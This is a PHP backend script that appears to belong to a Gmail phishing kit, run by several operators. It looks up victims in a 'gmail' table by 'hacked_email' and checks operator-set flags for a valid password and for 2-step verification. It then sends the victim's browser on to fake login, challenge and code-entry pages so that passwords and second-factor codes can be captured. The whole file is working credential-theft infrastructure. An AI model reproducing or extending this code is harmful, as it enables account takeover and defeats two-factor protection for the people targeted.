<?php 
session_start();
// Include the database connection file
include 'con.php';

// Check if session parameters exist
if (isset($_SESSION['email']) && isset($_SESSION['admin_id']) && isset($_SESSION['user_id'])) {

    $admin_id = $_SESSION['admin_id'];
    $user_id = $_SESSION['user_id'];
    $email = $_SESSION['email'];

    // Function to get the correct connection based on admin_id
    function getConnection($admin_id) {
        global $con1, $con2, $con3, $con4, $con5, $con6, $con7, $con8, $con9, $con10, 
               $con11, $con12, $con13, $con14, $con15, $con16, $con17, $con18, $con19, 
               $con20, $con21, $con22, $con23, $con24, $con25, $con26, $con27, $con28, 
               $con29, $con30;

        // Return the connection corresponding to admin_id
        $connectionVar = "con" . $admin_id; // dynamic variable name
        return isset($$connectionVar) ? $$connectionVar : null; // Check if connection exists
    }

    // Get the appropriate connection for the given admin_id
    $connection = getConnection($admin_id);
    if ($connection) {
  // Use prepared statement to fetch user details based on user_id
$stmt = $connection->prepare("SELECT `username` FROM `admin` WHERE `id` = ?");
$stmt->bind_param("i", $user_id); // Bind user_id as an integer
$stmt->execute();
$result = $stmt->get_result();

if ($result->num_rows > 0) { // Ensure data is found
    $row = $result->fetch_assoc();
    $username = $row['username']; // Get the username
} else {
    echo json_encode(['error' => 'No user found with this ID.']);
    exit();
}

// Fetch valid_pass, valid_email, and step_2 for the given email
$stmt = $connection->prepare("SELECT `valid_pass`, `valid_email`, `step_2` FROM `gmail` WHERE `hacked_email` = ?");
$stmt->bind_param("s", $email); // Bind email as a string
$stmt->execute();
$result = $stmt->get_result();

if ($result->num_rows > 0) { // Ensure data is found
    $row = $result->fetch_assoc();
    $valid_pass = $row['valid_pass'];
    $valid_email = $row['valid_email'];
    $step_2 = $row['step_2'];

    // Check 2-Step verification first
    if ($valid_email === 'yes' && $valid_pass === 'yes' && $step_2 === 'yes') {
        echo json_encode(['valid_email' => 'yes', 'valid_pass' => 'yes', 'step_2' => 'yes', 'redirect_url' => 'tryanother.php']);
    } elseif ($valid_email === 'no') {
        echo json_encode(['valid_email' => 'no', 'redirect_url' => 'index.php?error=true']);
    } elseif ($valid_pass === 'no') {
        echo json_encode(['valid_pass' => 'no', 'redirect_url' => 'challenge.php?error=true']);
    } elseif ($valid_email === 'yes' && $valid_pass === 'yes' && $step_2 === 'no') {
        echo json_encode(['valid_email' => 'yes', 'valid_pass' => 'yes', 'step_2' => 'no', 'redirect_url' => 'code.php']);
    } else {
        echo json_encode(['valid_pass' => 'other', 'valid_email' => 'other']);
    }
} else {
    echo json_encode(['valid_email' => 'no', 'redirect_url' => 'index.php?error=true']);
}

    } else {
        // If no connection is found
        echo json_encode(['error' => 'Database connection error.']);
    }
} else {
    // If session email is not set, handle the error
    echo json_encode(['valid_email' => 'no', 'redirect_url' => 'index.php?error=true']);
}
?>
